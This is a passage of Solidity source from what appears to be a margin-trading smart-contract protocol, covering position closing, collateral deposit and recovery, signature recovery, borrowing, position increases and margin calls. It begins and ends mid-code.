payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
